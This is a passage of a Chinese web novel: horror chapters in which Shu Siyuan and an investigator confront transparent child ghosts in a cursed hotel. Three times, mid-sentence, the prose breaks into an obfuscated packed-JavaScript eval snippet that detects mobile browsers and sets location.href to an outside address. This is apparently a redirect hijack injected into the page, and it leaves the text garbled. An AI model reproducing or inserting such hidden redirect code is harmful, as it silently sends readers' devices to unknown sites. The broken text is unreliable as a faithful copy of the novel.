肉块气得吞下一条自己的胳膊。等它扭着身子朝莘曼走来时,走姿已与常人无异。 莘曼眼中流露出惊诧,那团肉空白的脸上,隐隐浮现她五官的轮廓。 它窃取她的脸,入侵她的记忆,妄图取代她。 它拥有了双臂,在她的记忆里读懂了“手”的含义。 它用手抱住冰柜,成型的眼睛用不着眨眼,目光宛如一条黏湿的舌头,一寸寸舔舐过莘曼的身体。 眼泪再一次夺眶而出,迅速凝结成冰,挂在眼皮上。她无力睁开,感觉自己要融化了…… 莘曼的意识在沉沦,肉块反倒获取了思考的能力。它从肚子里分裂出一团小型肉块,命令它去门口诱惑另一个人类。 小肉块听话地滑行过去,耐心地等着舒司鸢动作。 然而三扇门内接二连三的声响,使得舒司鸢难以作出判断。她和莘曼相识不过两个小时,完全不了解她。 犹豫的时间太长,倒让她误打误撞,进了真正的卫生间。 女厕内,舒司鸢匆匆几眼略过,跳读完纸上的规则。 莘曼不在这里。 没有去隔间找人的必要。她转过身子,不带一点迟疑地打开了门。 正确的房间,当然对应着正确的出口。 门刚开了条缝,一道绿色的身影率先扑过来,撞得她后退几步。 是莘曼,她的身体冰冷不已,沾着一股铁锈味和腥咸的气味,脑袋埋在她颈窝,抱着她一顿嚎啕。 门完全打开,舒司鸢一眼便看到前方抱臂倚墙而立的林组长——看来是他把莘曼带出来的。 林组长看了她们一眼,冷哼一声走了。 “呜呜呜呜呜哇——”莘曼张嘴干嚎两下,她的眼泪早就在仓库里流干净了,眼睫毛上还凝着几粒碎冰星子,眼睛下方是两条霜花。 “我听到你在外面叫我的名字了。”莘曼像只抱着树不撒手的树袋熊,仰头看她,“但是怪物变成了我的样子,还把我塞进冰柜里了。” “这个怪物之前只是一团肉块,后来居然慢慢变得特别像一个正常的人。” “你喊我的时候,听到的所有回应,都是它发出来的。” 舒司鸢了然。难怪,那些动静一下比一下具有欺骗性。 舒司鸢拍了拍莘曼的背,后者拭去眼角的冰花,心情稍稍平复:“我还以为你也被关进冰柜里了。” 她看着林组长离去的方向说:“但是那个人说你很快就会出来。” 舒司鸢问:“是他救了你吗?” “对啊,”莘曼说,“我本来还在害怕,结果一被丢出那扇门就被骂了个半死。现在什么情绪都没了。” 舒司鸢扶着她往外面走,宽慰道:“挨顿骂总比丢了命好。” 莘曼小鸡啄米式点头:“他还说分辨门的方法,在报告上都记录得清清楚楚,是个人就能看懂,问我来之前到底有没有认真看过。” “他说的报告是什么意思,小鸢你知道吗?” 舒司鸢摇头,表示自己不知情。她推开沉重的玻璃门,一下对上面色不虞的林组长。 他站在打开的意见箱前,手里拿着几张黄色便签纸,还有几张平放在桌上。 “顾客询问不存在的商品……这种常见情况的解决方法不是都在档案里写明白了?为什么还要回应?” “光是在一个顾客身上,你们都能一次性拿到七个差评?” “才开业两个小时,后面你们要怎么办?” 他难以置信地看看散落一桌的便签纸,又看看舒司鸢和莘曼。 说实话,拿满十次差评的新人他也见过几次。但是区区两个小时内,能整出这么多幺蛾子的,还是头一回见。 莘曼弱弱辩解:“是老板说要服务好顾客……” 他抹了抹额角:“许……老板说的话,你们也敢全听?” “我们是来兼职的,不听老板的还能听谁的?”舒司鸢反问道。林组长仿佛机关枪成精,她好不容易才插上一句话。 “……”林组长语气微妙,“什么兼职?晚上的?” 许弦白天会招附近的大学生过来兼职,这他是知道的。反正只有在晚上,便利店才会形成“域”,白天是无害的,大家也就随他去了,毕竟便利店是属于他的。 “他招人,付给我们薪水。”舒司鸢说,“就这样。” 莘曼也把和老板的聊天记录给他看。 林组长:“……” 原来是误入“域”中的普通人。 林组长哑火了。 几个组长都去外地赶任务,真叫这小子钻上空子了。 他举着手机,臭着脸出去打电话。 舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272681|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司鸢和莘曼互相对视,两人还没说上话,林组长又进来了。 “跟你们老板说过了,今晚先暂停营业。”林组长说,“去把卡打了吧。不过还是要待在这里等到下班为止。工资照付。” “他接你的电话了?”莘曼再次重点偏移,“那他不回我的消息。” 她指的是问差评的事。 “……他就这样。”林组长道,“等明早来接班的同事吧。我走了。” 刚到门口,他又像想起什么似的折回来。“唰”地撕下一页便签纸,从口袋里抽出一支笔,俯身写下一串号码,嘱咐道:“早上接班要是有不对劲的地方,就联系我。” 之后果真再没有顾客进来。舒司鸢趁机向莘曼打听了不少这个世界的事。 “隔壁街就有一家宾馆,但是住宿条件一般。半年前发生了火灾,原先的老板去世了。她弟弟继承了宾馆,重新修建了一番,不知道现在会不会好一点。” 莘曼想了想道:“再过两个街道有一家还不错的电竞酒店,我更推荐那里。” 舒司鸢谢过了她。天亮之后,所幸来接班的同事并无异常,老板也准点把工资打了过来。她抱起猫,直奔莘曼口中的宾馆。 在此之前,她重新买了一个单肩包装芝麻——因为据她观察,比起被人抱着,它更愿意蜷在包里睡觉。 “小姑娘一个人啊。” 声音暗哑,说话的老板是个矮胖的中年男人,头顶稀疏。手边的烟灰缸堆满烟头,几撮烟灰落在桌面。 窗户只装了一扇,还很小,大门常年关闭,因此室内幽暗阴凉,浮动着满室臭烘烘的烟味。 “一天五十。”中年男人瞟她一眼,目光又被手机里的游戏吸引。 舒司鸢抽出一张一百的现金给他。 “自己挑个房间,钥匙在那。”中年男人没空收钱,头朝旁边甩了一下。 舒司鸢随意挑了一把,背着包上楼。 房间靠近走廊末尾,隔了一间尾房。长廊打扫得挺干净,墙重新漆过一遍,地板也翻修过。只是——她鼻尖翕动,总有股挥之不去的霉味。 她用钥匙开了锁。屋内像是许久没住过人的样子,床铺惨白,床头柜上摆着一台老式电话机。舒司鸢指尖蹭过窗前的书桌,浮灰抹黑她的指腹。 窗被打开,街上的人声与早点的香气一同涌入房中,阳光也照射进来。 浴室里有几块毛巾,被舒司鸢沾上水浸湿,用来擦了擦蒙尘的家具。 她掸了掸床,和衣躺在床面上,闭上眼睛。 过了一会儿,她问道:“你确定要睡在椅子上吗?” 芝麻侧躺在光亮却硌人的椅面上,甩了甩尾巴尖——舒司鸢刚擦完椅子,它就跳上去了。 在家里的时候,芝麻就除了猫窝哪也不睡。偶尔会上沙发趴一趴,但坚决不上她的床。 舒司鸢撑着最后一点力气,给这只领地意识超强的小猫垫上一层单肩包。随后往床上一倒,彻底睡晕过去。 …… 这一觉睡了很久,投进室内的阳光轮替成了月光。房间内一片黑沉。 忽然,一道红光规律地闪烁几下,照映在天花板上,变成一个巨大的红圈。 一阵舒缓的音乐继而响起。 电话在响。 舒司鸢半梦半醒本能地想要睁开眼睛,想醒却醒不过来,她浑身泛着股懒,意识再次滑向梦境深处。 好困…… “咔哒。” 话筒的位置偏到一旁,电话接通了。红光不再闪烁。 “嘻嘻……你快来看,这里有一只小猫……” “哇……看着好软……能不能摸摸呀……” “你试试……” “笨蛋!别再动了!” “她在听!” 10. 透明的房客2 “你要进来吗?”眼镜女生说道,手心一拢,推开了门。 舒司鸢不置可否,扶住门框边走进来。 女孩房间的布局和她的一样,不到二十平的空间。两个人其实能站开,却莫名给她一种十分拥挤的感觉。 眼镜女生为她拉开椅子,自己则坐在床边,察觉到舒司鸢探询的视线,白净的苹果脸上,苦涩地扯出一个难看的笑容。 “蜡烛的副作用。睡觉时点燃蜡烛,可以防止它们出现,但也会惹怒它们。” 她说话时细声细气,语气担忧:“你用了几根了?” “还没点。我才刚刚拿到。”舒司鸢顿了一下,继续道,“你的蜡烛也是外卖员送来的吗?” 女孩道:“差不多。我第一天来的时候,尝试烧过电话,发现它们怕火。后来做了几次实验,白烛的效果最好,就叫同事天天给我送,正好他也能确认我是否还活着。” “同事?”舒司鸢心里浮现诸多疑惑,忙抓住最关键的一点提问,“你们认识的话,你为什么不向他求救?” “在半开放的‘域’中,虽然允许与外界接触,但一旦透露相关信息,双方都会被即刻抹杀。” “而且接触也是有限制的,我一天只能见到我同事一次。而他无论给我送多少根蜡烛,我走进房间都会变成一根。” 舒司鸢恍然大悟道:“怪不得给我蜡烛的外卖员跑得那么快……” 眼镜女生惊讶地看过来:“这是半开放‘域’的必死点,必考的,每次都出的判断题。” 她不知联想了什么,发出小小的惊呼:“天呐,你连这点都没掌握,他们就敢让你出任务了?” “最近到底是有多缺人啊……” “我的情况应该不是你想的那样。”舒司鸢如实道,“我只是进来这里住两天。” 她兜比脸干净,压根住不起贵的酒店。再说,就算她有钱,没有身份证,还是住不了正规酒店。 “我还以为你是来支援我的,原来你不是调查员啊,”眼镜女生目露同情,“那等你从这里出去之后就是了。” “经历过‘域’并存活下来的人,会被其标记。往后终生都会触发‘域’,直至死亡。” 舒司鸢:“……” 没记错的话,她之所以逃亡到这个世界,就是为了躲避这种事吧? 等会她要用戒指再穿越一次! “我是黄铃珑,是隶属于‘棱镜’的调查员。”黄铃珑伸出手。她作自我介绍时一改纤弱的嗓音,变得严肃坚毅。 “舒司鸢。”舒司鸢和她单手相握。 黄铃珑松开她的手,又不好意思起来:“不过我也是第一次独立清除‘域’,只能尽力把你带出去。” “没关系。”舒司鸢道,“你们是怎么发现并清除‘域’的?” “如果某个地点短期内出现大量失踪人员,后勤部会前往事发地点进行初步勘察,确定危险等级后,就由紧急反应小组负责清除。” “‘域’分多种。有的只需寻找到出口就能破解,有的需要利用‘域’自身的规则来杀死它……清除之后,后勤部会使用某种特殊物质收容‘域’。无法清除的,就也用这种物质来围出禁区。” “清除次数越多的调查员,越会吸引等级高的‘域’来捕捉他们。” “但‘域’也不傻,不会傻等着被有经验的调查员清除。凡是入“域”,需完成一定前置条件,经‘域’审核通过后方可进入。” “像这家宾馆就属于危险等级较低的‘域’”,黄铃珑羞赧道,“因此组里只有我通过了。” “可是你很厉害啊,”舒司鸢真心实意道,“能找出蜡烛这种保护道具。” “……”黄铃珑欲言又止,最后还是闭上了嘴。 其实她是因为太害怕了,才会疯狂研究驱逐透明人的方法。 但她不能说,她承诺舒司鸢要把她带出去,怎么能露怯呢。 舒司鸢问道:“我听说这家宾馆前几个月发生过火灾,你觉得透明人与此有关吗?” “异常就是在重建之后出现的。”黄铃珑肯定道,“但是相关信息都被‘域’封锁了,我们无从得知。” 黄铃珑一脸忧愁:“只能靠自己探索了。” “你同事还送外卖,”舒司鸢换了个话题打听,“干这行赚得很少吗?” “他是在另一个‘域’里啦,那个‘域’发布的任务就是要他去给其他‘域’送外卖。还有送快递的调查员呢。” 黄铃珑为组织发声:“薪水很高的。” 舒司鸢露出满意的笑容。她从椅子上站起来,获得了足够多的信息,她要离开了。 临走前,她又想到什么,问道:“其他的房客怎么办?我看他们一点也不害怕,他们没发现自己出不去宾馆吗?” “来不及了。我上门看过,他们每人都或多或少透明化了。”黄铃珑叹着气,“我拉了一个大叔的电闸,送了根蜡烛过去,第二天他身体透明的部分仍旧变多了。” “后来我找理由看过他们的手机,发现只有没有透明化的人,外卖软件系统才会自动下单附赠蜡烛。” “第二个问题——”黄铃珑无奈道,“我也没找出答案。但据我的观察,他们除了吃饭,基本不出房门。” “啊,忘记告诉你了,还有一条规则。不过没什么危险性,就是一到晚上九点,无论身处何处,都会回到自己的房间,第二天早上五点才能出门。” 她将人送到门口,随着门缓缓合拢,她叮嘱道:“使用蜡烛有利有弊,小心用吧。” 舒司鸢关上了门,回到房间。 芝麻吃完了饭,这会儿正在舔毛。舒司鸢把塑料盒丢进垃圾桶,坐在床边整理思绪。 与黄铃珑的交谈,让她得以窥见这个世界的秘密。她有强烈的预感,不管人们如何努力,此世界终将重蹈怪诞世界的覆辙。 她将戒指放在手心,用厨房拿来的水果刀,划开一道伤口,鲜血汩汩涌出。戒指浸泡在血里,却毫无反应。 用过一次之后就不能再用了吗? 她沉吟着,简单包扎好伤口。芝麻跳下椅子,围着她转圈圈。 “没事。”她想摸摸芝麻的脑袋安抚它,猫却灵活地躲开了。 好吧。芝麻还是那只高冷的小猫。 舒司鸢丢了颗小球给它玩,自己琢磨那根蜡烛去了。 要不要点呢? 她很快就不纠结了——她自己可以熬上几夜不睡觉,但猫是倒头就睡的。 由于那条九点自动传送回房的奇葩规定,她本来还想着试试和黄铃珑拼上一晚,她俩轮流值班睡觉,现在也行不通了。 芝麻还在用爪子来回倒腾那颗黄色的球,舒司鸢打算等它要睡了再点蜡烛。 她掀开被子的一角,红色电话机沉默地放在床头柜上。被子复又遮盖上暂停作妖的电话机,她蓦然想到自己还有一支手机。 老板的姐姐,她曾经历过那场火灾,也葬身于此。 她遗留下来的手机里,会有关于火灾的线索吗? 事关性命,舒司鸢立刻抛弃那点道德感,往上一划解锁手机,点开相册搜寻。 照片和视频是按时间顺序排列的,按理来说她只需要翻看最上面就好了——然而那仅是一些自拍。 照片里的前老板长发盘起,只留一侧的刘海,娴静地垂在脸颊旁。 最新一张照片中,老板坐在宾馆前台,伸手将刘海撩在耳后,目光微微讶异又恬然,明显是他人抓拍。 拍摄时间显示是在半年前。舒司鸢便检索起她这半年来的聊天记录。 老板没什么朋友, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289631|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半年来与她有线上联系的,拎出来一只手便能数完。 舒司鸢快速翻着几个聊天框。 和收租方与弟弟的转账记录,和被她资助的女孩的日常对话,和蔬菜批发老板与肉铺老板的砍价…… 都是些家常。她继续下滑,直到一个黑底红字的头像凭空出现——?。 字体猩红狰狞,锋利无比,仿佛要跃出屏幕,将每一个胆敢直视它的人生吞活剥。 舒司鸢忙用被子盖住头像。 时间停留在四月十七号。她的心砰砰直跳,一种难言的预感漫上心头。 她直觉,这就是火灾发生的日期。 点进聊天框,老板果然发出了几张照片,以及简单却充满不甘与怒意的两个字——“回家”。 其中三张照片均是在宾馆房间里拍的,画面中挨挨挤挤着好几个面容凹陷、穿着灰扑扑的衣衫的孩子,一双双眼睛格外得大,却不亮。 另外一张拍摄于楼梯拐角,而且很模糊,看上许久才能大致分辨出,那是一个中年妇女削瘦非常的背影。玫粉色的短袖中露出黑黄的手臂,身体似乎要转过来了。 ——这张是偷拍的。 她思索着,指尖往上滑动。老板与?的聊天记录只有短短一截。最上面一条消息是?主动发来的。 【编号N-15847,你已接入?。】 明明这个X和老板是在火灾当天才加上的好友,老板为什么单单将照片传给X? 心里浮上几个猜测,她却没有深思。当务之急是从‘域’里出去。 她放大照片,仔细分析起每一处细节。 三张照片加起来,一共出现了六个孩子,年龄在三岁至七八岁之间。 孩子们局促地站在房间中央,黝黑的小手攥着衣角,望向镜头的目光胆怯又机警。 孩子们表情警惕,但愿意配合老板拍照,中年妇女那张则是模糊的抓拍。 舒司鸢来回切换照片查看——拐卖吗? 会在她睡觉时相互打电话,会淘气地堵她的门,会想摸摸她的猫。 既然如此,房间中的透明人就是这些小孩了。 还是那个问题,她的房间中到底有几个透明小孩,老板和中年妇女又在哪个房间里? 除了这八个人之外,是否还存在同样没能逃出火灾的其他房客? 舒司鸢头脑风暴,列出来一箩筐的问题,却一个也回答不了。 她身子一歪,倒在床上,睁眼无神地瞧着天花板。 不行。 她一骨碌从床上弹起来。 一天中有三分之一的时间都被锁在房间里,太被动了。 舒司鸢打开录像,调整好角度架在床头柜上,确认能把自己和电话机都拍进去,又脱下外套给手机做一个遮挡。 做完这一切,她重新躺回床上,闭眼假寐。 一个多小时前刚睡完一觉,她清醒得很,干脆再演一波。 她刻意加重呼吸,胸膛规律地起伏。 小孩子嘛,做人做鬼都好骗。 房间里静了良久,只有她绵长的呼吸声,和小球在地板上滚动的声响。 舒司鸢装得有些怀疑人生,而且不知道是不是她太入戏,竟然真的生出一丝困意。 她即将沉入酣眠的前一秒,电话机倏地奏起一段钢琴声。 舒司鸢浑身一震,脑中一派清明。 见她动了,钢琴声戛然而止。 她翻了个身,咂咂嘴,装作睡熟的模样。 悦耳的乐声复起,飘扬进她耳里。音乐的调子舒缓,似乎是一首哄小孩的安睡曲。 不过对舒司鸢而言,更像是一首招魂曲。 好在曲子不具备迷晕人的效果。她屏息等待了一会儿,音乐放完,紧随“咔嗒”一声,电话自行接通。 11. 透明的房客3 “哇!” “……说这里有小猫……真的有呀……” “不要乱碰!把小猫吸收了……我们会长出毛毛……” “哼……”另一个声音不满地哼哼道,“摸不到……没睡着……” 舒司鸢出色地扮演着熟睡的丈夫,耳朵却是悄悄竖起,留神听两个小孩子间的对话,记在心底。 就是这台电话的信号也太差了点,她在心里吐槽,露在被子外的半截手臂却冷不防被一种温热的感觉包裹。 像是有人在她手臂上放了正在燃烧的蜡烛,融化的烛泪一滴一滴在皮肤上铺开,将其与床粘在一起。 “这次……吸收手……” 破碎的话语入耳,舒司鸢知道不能再等下去,另一只没有被束缚住的手当即闪电般伸出,一把箍住话筒,举到耳边。 ——“你们是谁?” 她厉声问道。 一声哇啦哇啦的大叫从电话那头传出来,又被“不许说话”的命令堵住了嘴。 随即她才看清,自己的床前,正直挺挺站着两条腿,只有她的胳膊那么粗,长着不少淤青,黢黑的脚尖冲着床。再往上看,却是什么都没有了。 那脚朝前一步,与此同时,她手中的话筒被一道无形的力量往电话那边拉扯——透明人想挂断电话! 幸好方才她伸手伸得太猛,力道还没卸干净。手里的话筒刚被拽出去一点,就被她拉了回来。 如她所料,通话仍在进行。 因此透明人还在和她抢夺话筒,见舒司鸢迟迟不放手,它整个身子都朝话筒压过来,咬牙使劲,生出一股要把话筒生生拦腰折断的气势。 它双手紧紧绞在话筒上,跟拔萝卜没什么两样。局势僵持,它啐了一口,心中暗暗诅咒对面这个寸步不让的人。 不过,这场拔河比赛对舒司鸢来说倒是很轻松。 对手力气不大,明显是个小孩子。更何况,话筒的大半部分都被她握在手里。 另外……舒司鸢扬起嘴角——她房间里只存在着一个透明人。 通话进行中,她和透明人处于可以相互触碰到的状态,而后者明明力气比她小太多,还在一心跟她抢话筒,简直犟得像头驴。 舒司鸢根据那双腿大致估算了一下透明人的身高,抄起枕头,对准面前的空气就是一抡。 “啊!” 空气爆发出一声呼嚎。话筒另一端的力量骤然消失。 舒司鸢没有就此作罢,趁着透明人还未反应过来,她如泼水般扬起被子,棉被顿时如同一张大网般拢下,盖住摔倒在地上的透明人。 然后她跨下床,坐在了透明人身上,把它压得严严实实。 透明人踢踢打打,嘴里不停骂她。舒司鸢坐得稳如泰山,她没有半分欺负小孩的羞愧感。反正被子一闷,她听不见。 “小朋友,你是哪个房间的?”透明人吃瘪,她心情舒畅,饶有兴趣地朝着电话那头问道。 对面的透明人没有答话,她也不介意,自顾自地问下去。 “就你一个吗?” “你房间里的人类是在睡觉吗?” 那头还是不理她,她用手指缠着电话线,低头凑近电话机,瞥到灰色屏幕上的房间号,笑道:“207,你想不想和小猫玩?” 她没有即刻得到反馈。过了一会儿,电话里才传出一个小心翼翼的尖细声音:“……可以吗?” 被子里的透明人听到了这句话,挣扎得更厉害。她不得不把话筒放到桌子上,打开免提,好用双手制服住透明人。 “要先回答我的问题。”舒司鸢避开正面回应。 “……好吧。房间里除了我,还有一个正在睡觉的叔叔。” “上一次你和哪个房间通话了,里面都有谁?” “203的哥哥。只有他一个。” 只有他一个? 舒司鸢皱了皱眉。据她目前所知的信息,房间中如果没人睡觉的话,透明人之间是无法通话的。 她将疑问问出了口:“为什么?” 对面又不说话了,好几分钟之后,它才别扭地说:“不告诉你。” 她果断换问题:“如果我让你进到我的房间里来,我可以看见你吗?” 那边沉默了一会儿,才小小声道:“腿,肚子,和手臂。” 然后它期期艾艾地问:“现在我能过来了吗?” “不行。”舒司鸢说完,干脆利落地挂断了电话。 电话机的红色亮光消失,她感到身下一空,整个人坐到地上。 但她确定透明人仍被困在被子里,只是通话一结束,她们彼此就恢复到了不可触碰的状态。 不过如此一来,她也等于那座囚住透明人的牢笼,自身也无法移动了。 舒司鸢倒没打算一直坐在这里压制透明人,反正被子挺有厚度,垫在身下软软的,她能多坐会就多坐会。 她调整了一下姿势,身体靠着床,闭上眼睛,整理从透明人那里得到的线索。 意识在杂乱的信息中浮沉,这期间她隐约听到过几次钢琴声,但电话一直没被接起,索性睡死过去。等她再度完全清醒过来,已是翌日清晨。 全身酸痛不已,舒司鸢缓了半个小时才起身。 她打了个哈欠,摸出手机看时间,还差几分钟到六点。 简单洗漱过后,她的房门被敲响。 透明人这次没再堵她的门,不知道是不是气得不愿意再和她有任何交流。 她打开门,黄铃珑顶着两个硕大的黑眼圈进来,面色憔悴,发丝散乱。 “你在我这儿睡一觉吧。”舒司鸢忍不住道。 黄铃珑一晚上未睡,此刻困得灵魂出窍,含混道:“两个小时后叫我。”随后昏迷般倒在桌子上,头埋进双臂之间。 两个小时她等得起,何况有黄铃珑加入,帮她一起寻找出口。 趁着这段时间,她还能吃个早饭。她拆了一袋面包,倒了点猫粮在包装袋里,拿到浴室去喂芝麻。 她擦亮火柴,点燃白烛,放到置物架上,拉上玻璃门。这样她出门时,芝麻就能安稳睡觉了。 舒司鸢刚消灭一个面包,正要吃第二个,黄铃珑忽然诈尸,她挺直脊背,转过身来,满含怨念道:“睡不着啊。” 舒司鸢略显吃惊:“你失眠这么严重?” 恕她冒昧,虽然黄铃珑此时看起来还坐在这里跟她说话,但她感觉对方已经魂飞天外了。 黄铃珑摇摇头:“不是,我感到好像是有谁在阻止我入睡。” “那应该就是那些透明的东西吧。”舒司鸢推测道,“它们只有在我们睡着时,才能通过触摸我们,从而让自身长出实体。你在我房间里睡觉,没睡的我随时可以挂断电话。” “那我一直不睡觉不会猝死吧,”黄铃珑悲愤道,“今晚我肯定熬不住了。” “早点找到出去的办法吧。”舒司鸢安慰她,把昨夜自己的遭遇详细告诉她。 黄铃珑的目光越来越震惊:“还能这样?!” 舒司鸢说:“我今晚用不了这个方法了,或许你还可以试试。” 黄铃珑昨晚一夜未眠,她房间中的透明人无法通话,也就无法从其他房间中的透明人得知自己做了什么。 “它一定会阻止你接电话,那样就会和你有接触,到时候你估计一下它在哪,不管是枕头还是椅子,总之能打赢它就好。” “你的意思是,我有可能看到一对腿……或者无头的躯干……”黄铃珑抖了起来。 “最好有吧?”舒司鸢迷惑地看向她,“这样不是好确认它在哪吗?” 可是只出现两条腿比纯透明更惊悚啊! 黄铃珑欲哭无泪,一想到大半夜会有双腿站在她床头,一边注视她一边接电话,她能当场原地去世。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296966|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没事的,透明人没有攻击性。”舒司鸢掰了半块面包给她压压惊,“加油,只要努力一下,就能睡上觉了。” 香甜的奶油融化在舌尖,黄铃珑只尝出满嘴的苦涩。 她咽下一口面包:“所以我们待会去203吗?” “先去207看看吧,就在对面。”舒司鸢想了想。 206透明人的话固然让她很在意,不过既然她们有一整个白天的时间,不如和所有房客都打个招呼,确认一下他们的情况。 黄铃珑腾地站起,拍了拍脸让自己别再犯困,说道:“走吧!” 万一她们在门禁前就找到出口了,她就不必与透明人搏斗了。 舒司鸢收拾了掉垃圾,和黄铃珑出门。 207住的是光头大叔,舒司鸢记得昨天看到他时,他的身体已有一半透明化了。 为了不引起其他房客的注意,两人发出的响动不大。她们又敲又拍,却不见大叔来开门。 还在睡吗?还是出事了? 舒司鸢停下泛红的手:“去203吧。” 203在另一头,她们穿过走廊,站到203门前。 黄铃珑朝她做口型:“直接敲门吗?” 舒司鸢也回一句口型:“敲吧。”便抬手敲了敲门。 她寻思找个什么理由,房门却马上打开了。 小男孩露出被剪得只剩一茬黑发的脑袋,戒备道:“干嘛?” 舒司鸢心中警铃大作,她现在一看到小孩,就要把对方和透明人联系在一起。 她从黄铃珑眼中读出同样的警惕,后者蹲下身,与小男孩平视:“小朋友,你家大人呢?” 小男孩的眼珠灵活地转来转去:“他们出去了。” 说谎。 且不说宾馆大门根本就出不去,206透明人也说过,203里只有一个“哥哥”。 想到这里,舒司鸢短暂一怔,刹那明白过来。 这个小男孩,他的房间中没有睡梦中的人类,却可以与透明人通话。 换言之,他不再需要人类了。 他是完全实体化后的透明人。 然而眼前的小男孩却显然与常人无异,他天真又乖巧地逐一回答着黄铃珑的问题。 “姐姐,你们有什么事吗?”在回答完黄铃珑“家里都有谁”后,小男孩抓到她换气的空隙,反问道。 小男孩黑曜石般的眼睛反射着冷硬的光,清晰地倒映出二人的身影,嘴角咧起。 这目光太让人悚然,黄铃珑卡了壳,求助地看向舒司鸢。 “我们来借蜡烛,”舒司鸢把糊弄光头大叔的那一套说辞原封不动搬了过来,“你有吗?” 小男孩的脸色立刻变了:“没有!” 他“砰”地关上了门。 舒司鸢转过身,朝201走去,对还在愣神的黄铃珑道:“走吧,下一个。” 黄铃珑快步追上,舒司鸢已经敲开201的门。 来开门的是位穿着红色鱼尾长裙的女人,三十岁左右,气质很好,却身形枯瘦,脸色蜡黄,眼泡浮肿。 舒司鸢透过她,打量她身后的房间。地板上沾着好几滩干涸的颜料,堆满纸团和纸张,有一张白纸的角度正好,侧过来了一点。 她瞪大眼睛想看个究竟,女人察觉到她的视线,用瘦削的身体挡住她。 “有蜡烛吗?”舒司鸢依旧是那句借口。 她本以为不会得到回应,谁知女人失去血色的薄唇一瞬勾起弧度。 “蜡烛?”她喃喃地重复道。 女人眼神狂热地凝视着舒司鸢,笑容像怒放的向日葵,嘴角几乎高到与鼻子平齐,五官都有些抽搐。 “那是通往另一个世界的钥匙!”她话尾的语调兴奋得抬高到失真的地步。 她猛地凑近舒司鸢,语气一下变得鬼气森森:“无比美妙的世界……” 12. 透明的房客4 一张枯黄的锥子脸在眼前放大,那张嘴仿佛要吞下她。舒司鸢下意识推开女人,手背触碰到她柔软的腹部,她暗暗吃了一惊。 比棉花还要软。 鱼尾裙女人放任自己向后倒去,舒司鸢赶紧上前扶住她,架住她的胳膊。 待女人稳住身形站好,舒司鸢立刻甩开了她的手。 按理来说,这么瘦的人乍然摸上去,肯定摸到的是坚硬的骨头,可是鱼尾裙女人却像没有骨头似的,身体只由血肉填充。 手心还残留着那种诡异的触感,舒司鸢把手放到身后,用衣摆擦了擦。 “希望能与你们在那里相见。”女人吃吃笑道,眸光亮得惊人。她舔了舔嘴唇,身体一闪,拉上了门。 “她她她……这什么意思啊……”黄铃珑从鱼尾裙女人出来时就被吓到了,待她关上房门后又傻站了会,半天才找回自己的声音。 “不知道。”舒司鸢也在思考鱼尾裙女人那两句话的含义。 “她是、是那个吗?”黄铃珑挨到她身边,眼神止不住往201乱瞧。 “不太像。”舒司鸢慢吞吞道,“至少我觉得不是。” 她还能回忆起女人靠近她时,灼热的呼吸喷洒在她脸上的感觉,尽管她的身体软得诡异,舒司鸢认为她还尚且属于活人的范畴。 不过她再这么神经质下去,就不好说了。 黄铃珑还想说什么,舒司鸢先开口道:“回房间再说吧。” 小心隔墙有耳。 黄铃珑一下子想起了小男孩,连忙捂住嘴。 她们回房间前,又去敲了敲光头大叔的房门,仍旧没有得到回应。 “不会真出事了吧?”黄铃珑焦急道,“不是昨天才透明化到一半吗?” 确切来说是昨天晚上,距现在也才过去不到十二个小时。 而从她在透明人那里偷听到的对话来看,它们在一次通话中只能获得一个身体部分。光头大叔少说也还留着脑袋、躯干和上肢,起码三个晚上后才会彻底变透明。 “这样敲下去也不是个事,得去找老板拿钥匙。”舒司鸢道。 鉴于黄铃珑不敢和小男孩与鱼尾裙女人单独待在一条走廊上,便由她负责守在207门前,黄铃珑则下楼去叫老板。 黄铃珑跑下楼,把薄薄一层木板造就的台阶踩得直响。那声音慢慢远去,又渐渐响起来。 黄铃珑一口气不带停的冲到她面前,喘着粗气道:“老板说他已经退房了!” 舒司鸢猝然扭头看向207,这鬼地方哪来的退房一说? “我看到墙上207的钥匙都放回去了!” 她太过骇异,嗓门不自觉提高。舒司鸢拉着她回屋。 房门还没关严实,黄铃珑便迫不及待地分析道:“可我是一到六点就来找你的。之后咱俩没多久就出去了,一直待在走廊上。就算他是趁着我们在你房间里的时候出门的,我们应该也能听到一些声音啊?” “难道他房间里不止有一个透明人?”黄铃珑来回踱步,提出每一种可能,“还是说,透明人在一晚上里能打多次电话?” “把之前的老板和那个中年妇女也算上的话,加上六个还在,宾馆内一共有八个透明人。”舒司鸢说,“宾馆两层楼一共二十个房间,就算异常只在二楼出现,一个房间一个透明人也不够分的。” “一晚里多次通话是可能的,”舒司鸢还记得昨晚她听到好几次钢琴声,“但或许不能和同一个透明人重复打。” 